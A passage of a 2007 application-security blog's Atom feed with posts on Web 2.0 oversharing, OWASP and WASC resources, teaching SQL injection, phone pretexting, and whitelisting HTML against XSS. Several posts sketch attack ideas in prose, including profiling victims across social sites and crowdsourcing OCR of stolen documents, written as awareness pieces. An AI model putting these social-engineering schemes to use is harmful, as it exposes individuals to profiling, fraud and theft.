scheme='http://www.blogger.com/atom/ns#' term='web 2.0'/><category scheme='http://www.blogger.com/atom/ns#' term='users'/><title type='text'>Web 2.0 for Social Engineering</title><content type='html'>One of the most frightening things about Web 2.0 is the type and volume of information that people are willing to publish to the general public and are willing to house in one location.  While looking at some web 2.0 types of sites, you can begin to aggregate a lot of information about a lot of folks.  Sometimes, used in an aggregate of the whole population this can actually be useful.  For example:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;80% of users on social bookmarking sites who link to site &lt;span style="font-style: italic;"&gt;x&lt;/span&gt; also link to site &lt;span style="font-style: italic;"&gt;y&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Same sort of metrics for podcast subscriptions or RSS/Atom subscriptions.&lt;/li&gt;&lt;/ul&gt;Now, when isolated to an individual user, however, the information can become somewhat damaging.  Suppose as an attacker, I use a social bookmarking site to see who has bookmarks assigned for particular financial institutions.  How many of them have webmail providers documented as well?  And of those, how many actually use the same username on the social bookmarking site as they do on their webmail?&lt;br /&gt;&lt;br /&gt;A few more examples:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;People will put anything on social meeting sites.  However, this is often being used as background check material during job interviews.  And that's the side that might somehow be able to make some sort of an ethical justification for what they do (think of the small towns where they check teachers' trash for alcoholic beverage containers).&lt;/li&gt;&lt;li&gt;I'm no client side scripting genius, but for a popular portal site, I wrote a module in under 30 minutes which would enumerate all the other modules on the site, along with your email address, and send them to the hacker site.&lt;/li&gt;&lt;li&gt;Micro-blogging sites make your whereabouts available to the general public.  If an attacker knows you well enough to know you keep it updated, they can plan when to visit your home.&lt;/li&gt;&lt;li&gt;Old-fashioned social engineering tactics such as dumpster diving are still quite effective.  Coupled with internet social engineering, these attacks can be even more damaging.&lt;/li&gt;&lt;li&gt;There are lots of examples of social meeting websites where an attacker makes a false profile of a victim with lots of incriminating (generally false) information.&lt;/li&gt;&lt;li&gt;Couple all this with your spending habits on auction sites, photos of what you do on photo sharing sites, to-do lists, personal blogs, chat room transcripts, RSS/Atom subscriptions, etc., and you can really begin to profile a well-connected person.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Now, it's easy enough for attackers to steal and forge identity.  But how much damage besides that could one really do to somebody they know in person?  Or better yet, how much damage could one do as an educational experiment of luring a visitor on a social website to become their friend, then learn all they can about their new friend without directly asking them to give up any information?&lt;br /&gt;&lt;br /&gt;How much information are you willing to put out there?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3908107532292930816?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3908107532292930816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/web-20-for-social-engineering.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3908107532292930816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3908107532292930816'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/web-20-for-social-engineering.html' title='Web 2.0 for Social Engineering'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3888639677283243674</id><published>2007-11-12T21:52:00.001Z</published><updated>2007-11-12T22:08:58.791Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='resources'/><category scheme='http://www.blogger.com/atom/ns#' term='wasc'/><title type='text'>Other Resources You Should Use:  WASC</title><content type='html'>The &lt;a href="http://webappsec.org/"&gt;Web Application Security Consortium&lt;/a&gt; (WASC) is a professional organization dedicated to measuring risk in web applications, and educating people in all levels of web application involvement on those risks.  If you just take a look at the &lt;a href="http://webappsec.org/officers.shtml"&gt;Officers listing&lt;/a&gt;, you can tell it's a very all-star cast.&lt;br /&gt;&lt;br /&gt;Here are a few of the resources on WASC I frequent:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;a href="http://webappsec.org/projects/threat/"&gt;WASC Threat Classification&lt;/a&gt; lists the common threats against web applications, although it is approached from a 100% black-box approach, so there are no generic fixes documented.&lt;/li&gt;&lt;li&gt;Thanks to several of the vendors backing WASC, the &lt;a href="http://webappsec.org/projects/statistics/"&gt;Security Statistics&lt;/a&gt; section is very valuable when trying to put together high-level justification for a security program, or to measure improvement versus the "internet norm".&lt;/li&gt;&lt;li&gt;The&lt;a href="http://www.webappsec.org/lists/websecurity/"&gt; WASC Mailing List&lt;/a&gt; is quite active with Q and A, posts about security products, full disclosure, and discussion of specific attack vectors.  If you prefer to just lurk, an RSS feed is available.&lt;/li&gt;&lt;li&gt;If you're in the Bay area, WASC has frequent meetups, which you can't miss if you're watching the mailing list or the news links on the WASC.&lt;/li&gt;&lt;/ul&gt;For the statistics alone, WASC is worth a pretty frequent visit.  Because of vendor participation, (most notably &lt;a href="http://www.whitehatsec.com/home/index.html"&gt;WhiteHat Security&lt;/a&gt;), there are really good metrics that you can refer to for comparing measurements.&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3888639677283243674?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://webappsec.org' title='Other Resources You Should Use:  WASC'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3888639677283243674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/other-resources-you-should-use-wasc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3888639677283243674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3888639677283243674'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/other-resources-you-should-use-wasc.html' title='Other Resources You Should Use:  WASC'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4116572854509862425</id><published>2007-11-09T01:31:00.001Z</published><updated>2007-11-09T01:45:21.361Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='class'/><category scheme='http://www.blogger.com/atom/ns#' term='injection'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Teaching Without a Net</title><content type='html'>A post I still haven't put on here is an amazing offer and opportunity that I've gotten locally to help in a classroom, and a few more really good professional connections.  Tonight was the first opportunity I've had meeting with the class to actually demonstrate anything.&lt;br /&gt;&lt;br /&gt;For a group of students who are learning cyber-defense, they're learning attacking.  While most application hacking you can only learn by doing, I was asked to at least demonstrate first.  In my professional career, I've enumerated a lot of databases by injection attack, but oddly have never had an opportunity to use SQL injection to enumerate an entire MySQL server.  I deliberately didn't try much attacking on the application before the class, I just verified that there were holes to work with - I think the thought process is every bit as important as the specific techniques.&lt;br /&gt;&lt;br /&gt;I know, it was nothing shocking, but I thought it was a nice touch to try to do something in a classroom that I had never specifically done.  I've enumerated db's with injection attacks, but not mysql.&lt;br /&gt;&lt;br /&gt;And completely off-topic, kudos to &lt;a href="http://www.gnucitizen.org/about/pdp"&gt;pdp&lt;/a&gt; for the find on &lt;a href="http://www.gnucitizen.org/blog/web-mayhem-firefoxs-jar-protocol-issues"&gt;jar url attacks&lt;/a&gt;.  &lt;span style="font-weight:bold;"&gt;very&lt;/span&gt; slick stuff.  Any site that receives uploads of anything in a ZIP format (meaning, almost any kind of archive, including OpenOffice document, JAR, ZIP, blah, blah) becomes a cross-site scripting host - and the script runs in context of the server hosting the jar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4116572854509862425?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4116572854509862425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/teaching-without-net.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4116572854509862425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4116572854509862425'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/11/teaching-without-net.html' title='Teaching Without a Net'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-7127567799727429058</id><published>2007-10-16T13:10:00.000Z</published><updated>2007-10-16T13:27:43.082Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>No-Tech Getting Hacked</title><content type='html'>While &lt;a href="http://johnny.ihackstuff.com/"&gt;Johnny Long&lt;/a&gt;'s talk about &lt;a href="http://www.amazon.com/No-Tech-Hacking-Engineering-Dumpster/dp/1597492159"&gt;No-Tech Hacking&lt;/a&gt; at &lt;a href="http://blackhat.com/"&gt;BlackHat&lt;/a&gt; and &lt;a href="http://defcon.org/"&gt;Defcon&lt;/a&gt; &lt;a href="http://video.google.com/videosearch?q=defcon+15"&gt;15&lt;/a&gt; was very informative (don't make things too hard on yourself), sometimes carrying around a camera, building trojan horses, or paying cash to a local thrift store for a 2.99 USD cable box is a little more work than you really want to go through.  I'd like to introduce you to no-tech getting hacked.&lt;br /&gt;&lt;br /&gt;Colleague is very particular about the computing environment at home.  The &amp;quot;family computer&amp;quot;, nobody runs as root, is frequently re-imaged, has quite a few best practices for keeping it safe, and it does not have any sensitive information.  The family knows not to click links from emails, be careful where you visit, the whole nine.&lt;br /&gt;&lt;br /&gt;Well, Student (a family member of Colleague) is beginning to apply for colleges.  College applications are expensive to fill out (I think it was about 50-75USD at a lot of places last time I looked), and depending on scores or interests, you might get little favorable response from them.&lt;br /&gt;&lt;br /&gt;The other night, Colleague got a phone call from University, asking to speak with Student.  Student goes on the call, and Colleague goes about some other work.  20 minutes later, Student emerges, full of pride that Student had just completed a college application.  Without having to pay for it.  For free.  Over the phone.  Not only that, but the caller ID said local directory assistance.  But the college was in a different state.  Student didn't ask for a callback number or any way of verifying the recruiter was indeed from University.  Whatever information the caller didn't have about Student before, they certainly have now.  (I believe Colleague is now in the process of filling out the paperwork for having Student's name changed to Undercover).&lt;br /&gt;&lt;br /&gt;Sometimes you have to look for it.  Sometimes, it looks for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-7127567799727429058?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://video.google.com/videoplay?docid=-2160824376898701015' title='No-Tech Getting Hacked'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/7127567799727429058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/no-tech-getting-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7127567799727429058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/7127567799727429058'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/no-tech-getting-hacked.html' title='No-Tech Getting Hacked'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1936390302494576355</id><published>2007-10-12T01:47:00.001Z</published><updated>2007-10-12T02:23:09.450Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='resources'/><category scheme='http://www.blogger.com/atom/ns#' term='owasp'/><title type='text'>Other Resources You Should Use: OWASP</title><content type='html'>There are certainly a ton of security resources out there, and I don't do a sufficient job of sharing the excellence of these with you.  I suppose a large number of my readers (er - subscribers) are actively involved with any of the groups I might mention in these other resources, but for those who aren't familiar with them (and I'm certainly not as familiar with them all as I ought to be), I'll begin to start giving a list of resources that you as a security professional or security conscious application professional should be aware of.&lt;br /&gt;&lt;br /&gt;The first is probably the most obvious.  The &lt;a href="http://owasp.org"&gt;Open Web Application Security Project&lt;/a&gt; (OWASP) is most well-known for their &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"&gt;Top Ten&lt;/a&gt;, the 2004 edition which &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; section 6.5 of &lt;a href="https://www.pcisecuritystandards.org/index.htm"&gt;PCI&lt;/a&gt;).  But OWASP has &lt;span style="font-weight: bold;"&gt;many&lt;/span&gt; more resources available to you.  A lot of good code comes from OWASP, and a lot of good documentation.&lt;br /&gt;&lt;br /&gt;Some of the highlights:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"&gt;OWASP Top Ten&lt;/a&gt;.  Everybody knows the 2004.  Learn the 2007.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Encoding_Project"&gt;Reform&lt;/a&gt; an excellent encoding library for Perl, Java, Python, PHP, .NET, and on and on - not just your mama's HTMLEncode() or &amp;lt;c:out /&amp;gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Sprajax_Project"&gt;Sprajax&lt;/a&gt; which is certainly in its infancy, and will hopefully fill out some as a good ajax fuzzer&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Testing_Project"&gt;OWASP Testing Guide&lt;/a&gt; if you want to have a standard testing methodology, but don't know where to start, a good place to start.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_CLASP_Project"&gt;CLASP&lt;/a&gt; is gaining a lot of traction in the industry.  Again, if you want to use the work of others in figuring out how to implement security earlier in your lifecycle, a group of others like you have been documenting a way (certainly not the only way) to get things adopted.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_Chapter"&gt;Local Chapters&lt;/a&gt; if there's a local OWASP chapter, get involved.  Join the mailing list.  Go to the meetups.  Meet other security professionals in the area who speak your language and are facing the same challenges you are.  Don't do your work in a vacuum.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://blogs.owasp.org/"&gt;Blogs&lt;/a&gt; (particularly &lt;a href="http://blogs.owasp.org/diniscruz/"&gt;Dinis Cruz&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;OWASP is made up of volunteer folks who want to see applications get more secure who are much like you are.  They've been around for quite awhile, have a season of code from time to time, from which good libraries and tools come, and is an excellent resource for folks new to application security, developers trying to make things more secure, and professionals trying to standardize on processes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1936390302494576355?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://owasp.org/' title='Other Resources You Should Use: OWASP'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1936390302494576355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/other-resources-you-should-use-owasp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1936390302494576355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1936390302494576355'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/other-resources-you-should-use-owasp.html' title='Other Resources You Should Use: OWASP'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-1965051276176621679</id><published>2007-10-12T01:25:00.000Z</published><updated>2007-10-12T01:41:24.967Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><title type='text'>Some Things are Easier to Fix than Fight</title><content type='html'>I posted some time back about how &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/09/some-things-are-easier-to-fix-than-find.html"&gt;some things are easier to fix than find&lt;/a&gt;.  That's particularly true of application testing.  It's difficult to know if you've reached every case, every role, every permission set, every set of circumstances to cover the entire application.  Sure, you can know how many form elements there were and if you tested every one, or if you tested every submission or query circumstance, but that's only of what you were able to crawl.&lt;br /&gt;&lt;br /&gt;All that being said, when doing static analysis, sometimes it's easier to fix problems than to fight them.  Developers understandably are very defensive of their work.  They take pride in what they do, and while most accept constructive comments from one of their kind, it's certainly very difficult for them to take arguments from a &amp;quot;security specialist&amp;quot; about how they wrote their code wrong.  I suppose professional athletes are good examples - when criticized for making mistakes during games by the media, athletes (and coaches) frequently respond with a type of remark that should the roles be reversed, the media folks wouldn't make any better decision.&lt;br /&gt;&lt;br /&gt;So when you're armed with only a static analysis, which really only has theoretical findings, not validated findings, it's not unusual to get some push back.  &amp;quot;That couldn't really happen&amp;quot;, &amp;quot;we don't allow that type of interaction&amp;quot;, &amp;quot;you can't prove that&amp;quot;, or some version of &amp;quot;you don't understand our code&amp;quot;.  I'm sure these all follow &lt;a href="http://jeremiahgrossman.blogspot.com/2007/03/5-stages-of-web-application-security.html"&gt;The Five Stages of Application Security Grief&lt;/a&gt;, but when you witness them all at once, the distinct stages are sometimes hard to identify.&lt;br /&gt;&lt;br /&gt;So what's a &amp;quot;security professional&amp;quot; with &amp;quot;no understanding of our code&amp;quot; to do?  Well, you have a few options.  You could just ignore your customer and hope the findings really are bogus.  Meanwhile, they'll continue making the same bad mistakes in other applications (and probably &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/09/full-disclosure-paper-edition.html"&gt;write books&lt;/a&gt; about it).  Or you could continue in a futile screaming match about who's right.  Maybe the one who can yell the longest will win.  Or maybe, if you really &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; understand their code, you could provide simple solutions to their problems.  It's sometimes even faster to write a solution to a theoretical problem than it is to argue the point over whether the problem is theoretical or actual.&lt;br /&gt;&lt;br /&gt;Now, I understand that nothing goes directly from concept to production, but it might just be a step to bridge that gap between &amp;quot;just security professionals&amp;quot; and application experts.  Meaning, you might just show that you're &amp;quot;one of them&amp;quot; after all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-1965051276176621679?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/09/some-things-are-easier-to-fix-than-find.html' title='Some Things are Easier to Fix than Fight'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/1965051276176621679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/some-things-are-easier-to-fix-than.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1965051276176621679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/1965051276176621679'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/some-things-are-easier-to-fix-than.html' title='Some Things are Easier to Fix than Fight'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-499398533818156903</id><published>2007-10-01T16:50:00.000Z</published><updated>2007-10-01T17:29:15.959Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='xslt'/><title type='text'>Allowing Script and HTML Content from untrusted sources</title><content type='html'>I think I've said a billion times that the MySpace model of allowing HTML and/or script is an exception, not a rule.  However, it seems the exceptions are getting more and more prominent as businesses are driven to allow dynamic content from their customers in order to help the company's bottom line.&lt;br /&gt;&lt;br /&gt;A colleague today asked me (without reading &lt;a href="http://sylvanvonstuppe.blogspot.com/2007/01/stopping-xss-but-allowing-html-is-hard.html"&gt;here&lt;/a&gt; first - shame, shame) how a company he is helping could allow markup and script, but not allow just any old markup or script.  Of course, my first response is "why?", but I keep that to myself.  My second response is always very aggressive white-listing of what you believe is acceptable.&lt;br /&gt;&lt;br /&gt;I think the colleague has pretty well told their customer that starting with XHTML and a restrictive DTD (or even better, XML-Schema or RelaxNG) will be the most beneficial starting place.  This way, you can rely on the schema and your really excellent processor to define what is and isn't allowed.  Granted, you'll have to not allow entity definition and other things that could potentially cause XML processing DoS's.  But then you're left with a whitelist of the types of tags available.&lt;br /&gt;&lt;br /&gt;Once you have a really scaled-down, well-defined list of what &lt;span style="font-weight: bold;"&gt;is&lt;/span&gt; allowed, you can then go through attributes and perform additional whitelisting.  Suppose we don't allow javascript in href's on attributes - we can just check the href attributes in the DOM (we know we have a valid DOM and a finite set of attributes to test since it passed the schema), and verify that they all begin with http:// or https:// .  Img tags would work similarly.&lt;br /&gt;&lt;br /&gt;For those things that &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; need scripting, you define new sets of tags.  This is not dis-similar to Blogger's plugin model.  They allow scripting, but they control the script - you have to put script in by using their pre-defined plugin tags, which use (probably) an XSLT to translate that to script they can deal with.&lt;br /&gt;&lt;br /&gt;It's not going to be without work, but I think my colleague is going to be able to propose a solution to their customer that will be quite secure, and still give the clients the control over their content they crave.  Thanks be to Blogger for the model.  Blogger is certainly not the only site that operates this way, but it beats the myspace model - allow anything until a worm starts, then disallow the exact vector that created the worm.&lt;br /&gt;&lt;br /&gt;Seems this is precisely what XML and XSLT were invented for...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-499398533818156903?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://sylvanvonstuppe.blogspot.com/2007/01/stopping-xss-but-allowing-html-is-hard.html' title='Allowing Script and HTML Content from untrusted sources'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/499398533818156903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/allowing-script-and-html-content-from.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/499398533818156903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/499398533818156903'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/10/allowing-script-and-html-content-from.html' title='Allowing Script and HTML Content from untrusted sources'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2507221985660891504</id><published>2007-09-21T23:03:00.001Z</published><updated>2007-09-21T23:12:19.059Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='developer'/><category scheme='http://www.blogger.com/atom/ns#' term='eclipse'/><category scheme='http://www.blogger.com/atom/ns#' term='groovy'/><title type='text'>Groovy Monkey and Syntax Checking</title><content type='html'>&lt;a href="http://groovy.codehaus.org/Groovy+Monkey"&gt;Groovy Monkey&lt;/a&gt; is an &lt;a href="http://eclipse.org/"&gt;Eclipse&lt;/a&gt; plugin which allows you to quickly script plugins for Eclipse. While I'm not that interested in making a whole bunch of plugins for Eclipse, I can see how this can be useful. I've found it, so far, to be very handy for doing quick syntax checks on code. The better static analysis tools out there do data flow analysis to reduce the potential of false positives (er - non-exploitables), but I like to be a &lt;span style="font-weight: bold;"&gt;lot&lt;/span&gt; more strict. There are some things that almost always end up being dangerous, but those constructs won't end up in a static analysis. If you're trying to convince people to always use &amp;lt;c:out /&amp;gt;, then &amp;lt;%= shouldn't be used. So just messing with the example script gives me the ability to add that little check.&lt;br /&gt;&lt;br /&gt;Next I'll add in checks for potentially bad data access mechanisms (createStatement, executeQuery(String), etc.) just for flagging for the developer to keep an eye on. The beauty of this is that the results end up in My Tasks instead of some separate perspective.&lt;br /&gt;&lt;br /&gt;And yes, for anything but the &amp;lt;%=, I could just write a semantic rule, but this will end up in my task list, and is generally far quicker.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2507221985660891504?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://groovy.codehaus.org/Groovy+Monkey' title='Groovy Monkey and Syntax Checking'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2507221985660891504/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/groovy-monkey-and-syntax-checking.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2507221985660891504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2507221985660891504'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/groovy-monkey-and-syntax-checking.html' title='Groovy Monkey and Syntax Checking'/><author><name>Will Stranathan</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_5n56hbQMEaU/SUaU51HfT7I/AAAAAAAAAYo/crlLqudHy_Y/s1600-R/n1477715212_30094100_1848_normal.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4396467320119199931</id><published>2007-09-18T20:04:00.001Z</published><updated>2007-09-18T20:14:07.975Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='users'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Evil Mashup</title><content type='html'>Now, neither of these services by themselves are evil, but I was thinking about setting up a new kind of mashup for collecting sensitive information - more like trade secret kind of stuff.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.scanr.com/"&gt;scanR&lt;/a&gt; and &lt;a href="http://qipit.com/"&gt;qipit&lt;/a&gt; are service where you use your phone to take a picture of something you need to pass through OCR.  You use your phone to send the bits to the provider, who then does OCR on it, then they email you a PDF of the results.  They recommend doing this for things like meeting notes on a whiteboard.  Doing something like this is every bit as dangerous as putting sensitive business documents on Google Docs - why would you want to do it?  Well, services like that depend on people who just assume they're trustworthy.  Now, these services may or may not be completely trustworthy and secure from outside attack - but that's not the point.&lt;br /&gt;&lt;br /&gt;Combine that with something like &lt;a href="http://recaptcha.net/"&gt;reCAPTCHA&lt;/a&gt;, and now you've got something really powerful.  Use the reCAPTCHA model of displaying two images, the user solves both of them, and they solved OCR for your sensitive data mining operation.  Human handwriting is pretty hard for a computer to work out, but a humans can generally work out the meaning of sloppy writers by using context.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4396467320119199931?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4396467320119199931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/evil-mashup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4396467320119199931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4396467320119199931'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2007/09/evil-mashup.html' 